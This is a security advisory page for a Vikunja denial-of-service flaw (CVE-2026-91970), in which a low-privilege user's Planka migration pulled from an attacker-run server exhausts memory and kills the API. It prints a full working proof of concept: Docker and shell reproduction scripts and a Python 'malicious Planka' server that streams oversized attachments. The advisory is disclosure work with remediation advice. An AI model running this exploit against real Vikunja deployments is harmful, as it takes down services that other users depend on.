CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
4513 vulnerabilities reference this CWE, most recent first.
GHSA-WQ92-8X3R-FM38
Vulnerability from github – Published: 2026-10-09 20:53 – Updated: 2026-10-09 20:53Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API
Summary
The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.
Impact and affected scope
- Type: Resource Exhaustion Dos
- Affected component: POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator
- Preconditions: A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.
- Verified revision:
d66ef3d1a39c6f7289593059a1a34afd1d059260on 28 August 2026 - Affected release range:
> 2.5.0for the tested post-2.5.0 main branch; no released build was independently reproduced
A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.
Technical details
Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.
Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination
Relevant code:
pkg/routes/api/v2/migration_credentials.go:35pkg/routes/api/v2/migration_shared.go:73pkg/routes/api/v2/migration_shared.go:95pkg/modules/migration/planka/client.go:37pkg/modules/migration/planka/client.go:356pkg/modules/migration/planka/fetch.go:29pkg/modules/migration/planka/fetch.go:32pkg/modules/migration/planka/convert.go:275pkg/modules/migration/planka/convert.go:280pkg/modules/migration/planka/convert.go:293pkg/modules/migration/planka/planka.go:86pkg/modules/migration/planka/planka.go:100
Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create reproduction/Dockerfile:
FROM golang:1.27-bookworm AS builder
WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
&& printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
&& go build -o /out/vikunja .
FROM golang:1.27-bookworm
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates curl python3 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh
Create reproduction/verify.sh:
#!/usr/bin/env bash
set -euo pipefail
test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"
mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/
python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
kill "${VIKUNJA_PID}" 2>/dev/null || true
wait "${VIKUNJA_PID}" 2>/dev/null || true
fi
if kill -0 "${PLANKA_PID}" 2>/dev/null; then
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
fi
}
trap cleanup EXIT
for _ in $(seq 1 90); do
if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
&& curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
break
fi
sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null
REGISTER_CODE="$(curl -sS -o /work/register.json -w '%{http_code}' \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","email":"PoC@example.invalid","password":"PoC-Test-Password-123!"}' \
http://127.0.0.1:3456/api/v2/register)"
test "${REGISTER_CODE}" = "201"
curl -fsS \
-H 'Content-Type: application/json' \
-d '{"username":"PoC","password":"PoC-Test-Password-123!","long_token":false}' \
http://127.0.0.1:3456/api/v2/login > /work/login.json
TOKEN="$(python3 -c 'import json; print(json.load(open("/work/login.json"))["token"])')"
test -n "${TOKEN}"
BASELINE_RSS_KIB="$(awk '/VmRSS/{print $2}' "/proc/${VIKUNJA_PID}/status")"
OOM_BEFORE="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
MIGRATE_CODE="$(curl -sS -o /work/migrate.json -w '%{http_code}' \
-H "Authorization: Bearer ${TOKEN}" \
-H 'Content-Type: application/json' \
-d '{"url":"http://93.184.216.34:18080","token":"attacker-key"}' \
http://127.0.0.1:3456/api/v2/migration/planka/migrate)"
test "${MIGRATE_CODE}" = "200"
for _ in $(seq 1 90); do
if ! kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
break
fi
sleep 1
done
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
echo "[PoC] target survived unexpectedly" >&2
tail -n 80 /work/vikunja.log >&2
tail -n 80 /work/planka.log >&2
exit 1
fi
set +e
wait "${VIKUNJA_PID}"
TARGET_EXIT=$?
set -e
OOM_AFTER="$(awk '$1 == "oom_kill" {print $2}' /sys/fs/cgroup/memory.events)"
ATTACHMENTS_SERVED="$(cat /work/attachment-count 2>/dev/null || echo 0)"
test "${OOM_AFTER}" -gt "${OOM_BEFORE}"
test "${TARGET_EXIT}" -eq 137
test "${ATTACHMENTS_SERVED}" -ge 4
kill -0 "${PLANKA_PID}"
if curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then
echo "[PoC] health endpoint remained available after target exit" >&2
exit 1
fi
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
trap - EXIT
echo "[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))"
echo "[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy"
Create reproduction/run.sh:
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)"
if [[ "$(basename "${SESSION_DIR}")" == "artifacts" ]]; then
SESSION_DIR="$(cd "${SESSION_DIR}/.." && pwd)"
fi
CASE_ID="$(basename "${SESSION_DIR}")"
FINDING_NAME="$(basename "${FINDING_DIR}")"
IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}"
NETWORK_NAME="${IMAGE_TAG}-net-$$"
TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git"
TARGET_REF="d66ef3d1a39c6f7289593059a1a34afd1d059260"
WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-repro.XXXXXX")"
NETWORK_CREATED=false
cleanup() {
if [[ "${NETWORK_CREATED}" == "true" ]]; then
docker network rm "${NETWORK_NAME}" > /dev/null 2>&1 || true
fi
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
TARGET_REPO_DIR="${WORKDIR}/repo"
echo "[PoC] cloning target repository"
git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}"
printf '\n.git\n' >> "${TARGET_REPO_DIR}/.dockerignore"
echo "[PoC] building reproduction image: ${IMAGE_TAG}"
docker build \
--build-context "target=${TARGET_REPO_DIR}" \
-t "${IMAGE_TAG}" \
"${SCRIPT_DIR}"
echo "[PoC] creating isolated public-address test network"
docker network create --subnet 93.184.216.0/24 "${NETWORK_NAME}" > /dev/null
NETWORK_CREATED=true
echo "[PoC] running exploit trigger and verification"
docker run --rm \
--network "${NETWORK_NAME}" \
--ip 93.184.216.34 \
--memory=256m \
--memory-swap=256m \
-v "${TARGET_REPO_DIR}:/target-repo:ro" \
"${IMAGE_TAG}" \
/app/verify.sh
echo "[PoC] SUCCESS: reproduction completed and verified"
Create reproduction/malicious_planka.py:
#!/usr/bin/env python3
import json
import os
import threading
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
ATTACHMENT_COUNT = 24
ATTACHMENT_BYTES = 20 * 1024 * 1024
counter = 0
counter_lock = threading.Lock()
class Handler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, fmt, *args):
print(fmt % args, flush=True)
def send_json(self, payload):
body = json.dumps(payload, separators=(",", ":")).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_DELETE(self):
self.send_response(204)
self.send_header("Content-Length", "0")
self.end_headers()
def do_GET(self):
global counter
if self.path == "/api/users/me":
self.send_json({"item": {"id": "attacker"}})
return
if self.path == "/api/projects":
self.send_json(
{
"items": [{"id": "p1", "name": "attacker project"}],
"included": {
"boards": [
{"id": "b1", "name": "board", "projectId": "p1", "position": 1}
],
"baseCustomFieldGroups": [],
"customFields": [],
},
}
)
return
if self.path == "/api/boards/b1":
attachments = [
{
"id": f"a{i}",
"type": "file",
"name": f"aggregate-{i}.bin",
"cardId": "c1",
"data": {"mimeType": "application/octet-stream"},
}
for i in range(ATTACHMENT_COUNT)
]
self.send_json(
{
"item": {"id": "b1", "name": "board", "projectId": "p1", "position": 1},
"included": {
"users": [],
"labels": [],
"lists": [
{"id": "l1", "name": "active", "type": "active", "position": 1}
],
"cards": [
{"id": "c1", "name": "memory bomb", "listId": "l1", "commentsTotal": 0}
],
"cardLabels": [],
"taskLists": [],
"tasks": [],
"attachments": attachments,
"customFieldGroups": [],
"customFields": [],
"customFieldValues": [],
},
}
)
return
if self.path.startswith("/attachments/"):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(ATTACHMENT_BYTES))
self.end_headers()
chunk = b"A" * 65536
try:
for _ in range(ATTACHMENT_BYTES // len(chunk)):
self.wfile.write(chunk)
except (BrokenPipeError, ConnectionResetError):
return
with counter_lock:
counter += 1
with open("/work/attachment-count", "w", encoding="ascii") as count_file:
count_file.write(str(counter))
count_file.flush()
os.fsync(count_file.fileno())
return
self.send_response(404)
self.send_header("Content-Length", "0")
self.end_headers()
ThreadingHTTPServer(("0.0.0.0", 18080), Handler).serve_forever()
From the directory containing these files, run:
chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true
./reproduction/run.sh
Expected: The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.
Observed: The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.
Verification and controls: The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health.
Observed evidence:
- migrate_status=200
- public_attacker_ip=93.184.216.34
- attachments_served=5
- baseline_rss_kib=68064
- target_exit=137
- oom_kill_delta=1
- [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy
Suggested remediation
Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.
Severity
CVSS v4.0: 7.1 (High) — Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.
Disclosure context and attribution
AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.
Reported by the University of Sydney security research team:
- Ziyue Wang (@Zyy0530)
- Liyi Zhou (@lzhou1110)
- Strick Sheng (@Str1ckl4nd)
- Maurice Ng (@mauriceng98)
- Chenchen Yu (@7thParkk)
We are happy to answer questions, provide additional verification details, or validate a candidate patch.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-91970"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:53:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API\n\n## Summary\n\nThe always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.\n\n## Impact and affected scope\n\n- **Type:** Resource Exhaustion Dos\n- **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator\n- **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja\u0027s normal per-file limit.\n- **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026\n- **Affected release range:** `\u003e 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced\n\nA low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.\n\n## Technical details\n\nPlanka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.\n\nAttack path: Authenticated migration request -\u003e synchronous attacker-server credential probe -\u003e asynchronous Migrate with no request deadline -\u003e fetch attacker project/board metadata -\u003e loop attacker attachment list -\u003e individually size-limited downloads -\u003e retain all FileContent slices -\u003e process/container OOM and API termination\n\nRelevant code:\n\n- `pkg/routes/api/v2/migration_credentials.go:35`\n- `pkg/routes/api/v2/migration_shared.go:73`\n- `pkg/routes/api/v2/migration_shared.go:95`\n- `pkg/modules/migration/planka/client.go:37`\n- `pkg/modules/migration/planka/client.go:356`\n- `pkg/modules/migration/planka/fetch.go:29`\n- `pkg/modules/migration/planka/fetch.go:32`\n- `pkg/modules/migration/planka/convert.go:275`\n- `pkg/modules/migration/planka/convert.go:280`\n- `pkg/modules/migration/planka/convert.go:293`\n- `pkg/modules/migration/planka/planka.go:86`\n- `pkg/modules/migration/planka/planka.go:100`\n\n## Reproduction\n\nRun this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.\n\nCreate `reproduction/Dockerfile`:\n\n```text\nFROM golang:1.27-bookworm AS builder\n\nWORKDIR /src\nCOPY --from=target . .\nRUN mkdir -p frontend/dist \\\n \u0026\u0026 printf \u0027\u003c!doctype html\u003e\u003ctitle\u003ePoC\u003c/title\u003e\u0027 \u003e frontend/dist/index.html \\\n \u0026\u0026 go build -o /out/vikunja .\n\nFROM golang:1.27-bookworm\n\nRUN apt-get update \\\n \u0026\u0026 apt-get install -y --no-install-recommends ca-certificates curl python3 \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\nCOPY --from=builder /out/vikunja /app/vikunja\nCOPY . /app\nRUN chmod +x /app/verify.sh\n\n\n```\n\nCreate `reproduction/verify.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\ntest -d /target-repo\ntest \"$(git -C /target-repo rev-parse HEAD)\" = \"d66ef3d1a39c6f7289593059a1a34afd1d059260\"\ntest -z \"${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}\"\n\nmkdir -p /work/files /work/logs\nexport VIKUNJA_DATABASE_TYPE=sqlite\nexport VIKUNJA_DATABASE_PATH=/work/vikunja.db\nexport VIKUNJA_FILES_BASEPATH=/work/files\nexport VIKUNJA_LOG_PATH=/work/logs\nexport VIKUNJA_SERVICE_ROOTPATH=/work\nexport VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456\nexport VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/\nexport VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/\n\npython3 /app/malicious_planka.py \u003e /work/planka.log 2\u003e\u00261 \u0026\nPLANKA_PID=$!\n/app/vikunja \u003e /work/vikunja.log 2\u003e\u00261 \u0026\nVIKUNJA_PID=$!\ncleanup() {\n if kill -0 \"${VIKUNJA_PID}\" 2\u003e/dev/null; then\n kill \"${VIKUNJA_PID}\" 2\u003e/dev/null || true\n wait \"${VIKUNJA_PID}\" 2\u003e/dev/null || true\n fi\n if kill -0 \"${PLANKA_PID}\" 2\u003e/dev/null; then\n kill \"${PLANKA_PID}\" 2\u003e/dev/null || true\n wait \"${PLANKA_PID}\" 2\u003e/dev/null || true\n fi\n}\ntrap cleanup EXIT\n\nfor _ in $(seq 1 90); do\n if curl -fsS http://127.0.0.1:3456/api/v2/health \u003e /dev/null 2\u003e\u00261 \\\n \u0026\u0026 curl -fsS http://93.184.216.34:18080/api/users/me \u003e /dev/null 2\u003e\u00261; then\n break\n fi\n sleep 1\ndone\ncurl -fsS http://127.0.0.1:3456/api/v2/health \u003e /dev/null\ncurl -fsS http://93.184.216.34:18080/api/users/me \u003e /dev/null\n\nREGISTER_CODE=\"$(curl -sS -o /work/register.json -w \u0027%{http_code}\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"PoC\",\"email\":\"PoC@example.invalid\",\"password\":\"PoC-Test-Password-123!\"}\u0027 \\\n http://127.0.0.1:3456/api/v2/register)\"\ntest \"${REGISTER_CODE}\" = \"201\"\ncurl -fsS \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"PoC\",\"password\":\"PoC-Test-Password-123!\",\"long_token\":false}\u0027 \\\n http://127.0.0.1:3456/api/v2/login \u003e /work/login.json\nTOKEN=\"$(python3 -c \u0027import json; print(json.load(open(\"/work/login.json\"))[\"token\"])\u0027)\"\ntest -n \"${TOKEN}\"\n\nBASELINE_RSS_KIB=\"$(awk \u0027/VmRSS/{print $2}\u0027 \"/proc/${VIKUNJA_PID}/status\")\"\nOOM_BEFORE=\"$(awk \u0027$1 == \"oom_kill\" {print $2}\u0027 /sys/fs/cgroup/memory.events)\"\nMIGRATE_CODE=\"$(curl -sS -o /work/migrate.json -w \u0027%{http_code}\u0027 \\\n -H \"Authorization: Bearer ${TOKEN}\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"url\":\"http://93.184.216.34:18080\",\"token\":\"attacker-key\"}\u0027 \\\n http://127.0.0.1:3456/api/v2/migration/planka/migrate)\"\ntest \"${MIGRATE_CODE}\" = \"200\"\n\nfor _ in $(seq 1 90); do\n if ! kill -0 \"${VIKUNJA_PID}\" 2\u003e/dev/null; then\n break\n fi\n sleep 1\ndone\nif kill -0 \"${VIKUNJA_PID}\" 2\u003e/dev/null; then\n echo \"[PoC] target survived unexpectedly\" \u003e\u00262\n tail -n 80 /work/vikunja.log \u003e\u00262\n tail -n 80 /work/planka.log \u003e\u00262\n exit 1\nfi\n\nset +e\nwait \"${VIKUNJA_PID}\"\nTARGET_EXIT=$?\nset -e\nOOM_AFTER=\"$(awk \u0027$1 == \"oom_kill\" {print $2}\u0027 /sys/fs/cgroup/memory.events)\"\nATTACHMENTS_SERVED=\"$(cat /work/attachment-count 2\u003e/dev/null || echo 0)\"\n\ntest \"${OOM_AFTER}\" -gt \"${OOM_BEFORE}\"\ntest \"${TARGET_EXIT}\" -eq 137\ntest \"${ATTACHMENTS_SERVED}\" -ge 4\nkill -0 \"${PLANKA_PID}\"\nif curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health \u003e /dev/null 2\u003e\u00261; then\n echo \"[PoC] health endpoint remained available after target exit\" \u003e\u00262\n exit 1\nfi\n\nkill \"${PLANKA_PID}\" 2\u003e/dev/null || true\nwait \"${PLANKA_PID}\" 2\u003e/dev/null || true\ntrap - EXIT\necho \"[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))\"\necho \"[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy\"\n\n```\n\nCreate `reproduction/run.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nFINDING_DIR=\"$(cd \"${SCRIPT_DIR}/..\" \u0026\u0026 pwd)\"\nSESSION_DIR=\"$(cd \"${FINDING_DIR}/..\" \u0026\u0026 pwd)\"\nif [[ \"$(basename \"${SESSION_DIR}\")\" == \"artifacts\" ]]; then\n SESSION_DIR=\"$(cd \"${SESSION_DIR}/..\" \u0026\u0026 pwd)\"\nfi\nCASE_ID=\"$(basename \"${SESSION_DIR}\")\"\nFINDING_NAME=\"$(basename \"${FINDING_DIR}\")\"\nIMAGE_TAG=\"PoC-${CASE_ID}-${FINDING_NAME}\"\nNETWORK_NAME=\"${IMAGE_TAG}-net-$$\"\nTARGET_REPO_URL=\"https://github.com/go-vikunja/vikunja.git\"\nTARGET_REF=\"d66ef3d1a39c6f7289593059a1a34afd1d059260\"\nWORKDIR=\"$(mktemp -d \"${SESSION_DIR}/.PoC-repro.XXXXXX\")\"\nNETWORK_CREATED=false\ncleanup() {\n if [[ \"${NETWORK_CREATED}\" == \"true\" ]]; then\n docker network rm \"${NETWORK_NAME}\" \u003e /dev/null 2\u003e\u00261 || true\n fi\n rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\n\necho \"[PoC] cloning target repository\"\ngit clone --filter=blob:none --no-checkout \"${TARGET_REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --detach \"${TARGET_REF}\"\nprintf \u0027\\n.git\\n\u0027 \u003e\u003e \"${TARGET_REPO_DIR}/.dockerignore\"\n\necho \"[PoC] building reproduction image: ${IMAGE_TAG}\"\ndocker build \\\n --build-context \"target=${TARGET_REPO_DIR}\" \\\n -t \"${IMAGE_TAG}\" \\\n \"${SCRIPT_DIR}\"\n\necho \"[PoC] creating isolated public-address test network\"\ndocker network create --subnet 93.184.216.0/24 \"${NETWORK_NAME}\" \u003e /dev/null\nNETWORK_CREATED=true\n\necho \"[PoC] running exploit trigger and verification\"\ndocker run --rm \\\n --network \"${NETWORK_NAME}\" \\\n --ip 93.184.216.34 \\\n --memory=256m \\\n --memory-swap=256m \\\n -v \"${TARGET_REPO_DIR}:/target-repo:ro\" \\\n \"${IMAGE_TAG}\" \\\n /app/verify.sh\n\necho \"[PoC] SUCCESS: reproduction completed and verified\"\n\n```\n\nCreate `reproduction/malicious_planka.py`:\n\n```python\n#!/usr/bin/env python3\nimport json\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\n\nATTACHMENT_COUNT = 24\nATTACHMENT_BYTES = 20 * 1024 * 1024\ncounter = 0\ncounter_lock = threading.Lock()\n\n\nclass Handler(BaseHTTPRequestHandler):\n protocol_version = \"HTTP/1.1\"\n\n def log_message(self, fmt, *args):\n print(fmt % args, flush=True)\n\n def send_json(self, payload):\n body = json.dumps(payload, separators=(\",\", \":\")).encode()\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def do_DELETE(self):\n self.send_response(204)\n self.send_header(\"Content-Length\", \"0\")\n self.end_headers()\n\n def do_GET(self):\n global counter\n if self.path == \"/api/users/me\":\n self.send_json({\"item\": {\"id\": \"attacker\"}})\n return\n if self.path == \"/api/projects\":\n self.send_json(\n {\n \"items\": [{\"id\": \"p1\", \"name\": \"attacker project\"}],\n \"included\": {\n \"boards\": [\n {\"id\": \"b1\", \"name\": \"board\", \"projectId\": \"p1\", \"position\": 1}\n ],\n \"baseCustomFieldGroups\": [],\n \"customFields\": [],\n },\n }\n )\n return\n if self.path == \"/api/boards/b1\":\n attachments = [\n {\n \"id\": f\"a{i}\",\n \"type\": \"file\",\n \"name\": f\"aggregate-{i}.bin\",\n \"cardId\": \"c1\",\n \"data\": {\"mimeType\": \"application/octet-stream\"},\n }\n for i in range(ATTACHMENT_COUNT)\n ]\n self.send_json(\n {\n \"item\": {\"id\": \"b1\", \"name\": \"board\", \"projectId\": \"p1\", \"position\": 1},\n \"included\": {\n \"users\": [],\n \"labels\": [],\n \"lists\": [\n {\"id\": \"l1\", \"name\": \"active\", \"type\": \"active\", \"position\": 1}\n ],\n \"cards\": [\n {\"id\": \"c1\", \"name\": \"memory bomb\", \"listId\": \"l1\", \"commentsTotal\": 0}\n ],\n \"cardLabels\": [],\n \"taskLists\": [],\n \"tasks\": [],\n \"attachments\": attachments,\n \"customFieldGroups\": [],\n \"customFields\": [],\n \"customFieldValues\": [],\n },\n }\n )\n return\n if self.path.startswith(\"/attachments/\"):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/octet-stream\")\n self.send_header(\"Content-Length\", str(ATTACHMENT_BYTES))\n self.end_headers()\n chunk = b\"A\" * 65536\n try:\n for _ in range(ATTACHMENT_BYTES // len(chunk)):\n self.wfile.write(chunk)\n except (BrokenPipeError, ConnectionResetError):\n return\n with counter_lock:\n counter += 1\n with open(\"/work/attachment-count\", \"w\", encoding=\"ascii\") as count_file:\n count_file.write(str(counter))\n count_file.flush()\n os.fsync(count_file.fileno())\n return\n self.send_response(404)\n self.send_header(\"Content-Length\", \"0\")\n self.end_headers()\n\n\nThreadingHTTPServer((\"0.0.0.0\", 18080), Handler).serve_forever()\n\n\n```\n\nFrom the directory containing these files, run:\n\n```sh\nchmod +x reproduction/run.sh reproduction/*.sh 2\u003e/dev/null || true\n./reproduction/run.sh\n```\n\n**Expected:** The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.\n\n**Observed:** The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.\n\n**Verification and controls:** The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health.\n\nObserved evidence:\n\n- migrate_status=200\n- public_attacker_ip=93.184.216.34\n- attachments_served=5\n- baseline_rss_kib=68064\n- target_exit=137\n- oom_kill_delta=1\n- [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy\n\n## Suggested remediation\n\nEnforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.\n\n## Severity\n\n**CVSS v4.0: 7.1 (High)** \u2014 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\nThis assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.\n\n## Disclosure context and attribution\n\nAI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.\n\nReported by the University of Sydney security research team:\n\n- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)\n- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)\n- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)\n- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)\n- [Chenchen Yu 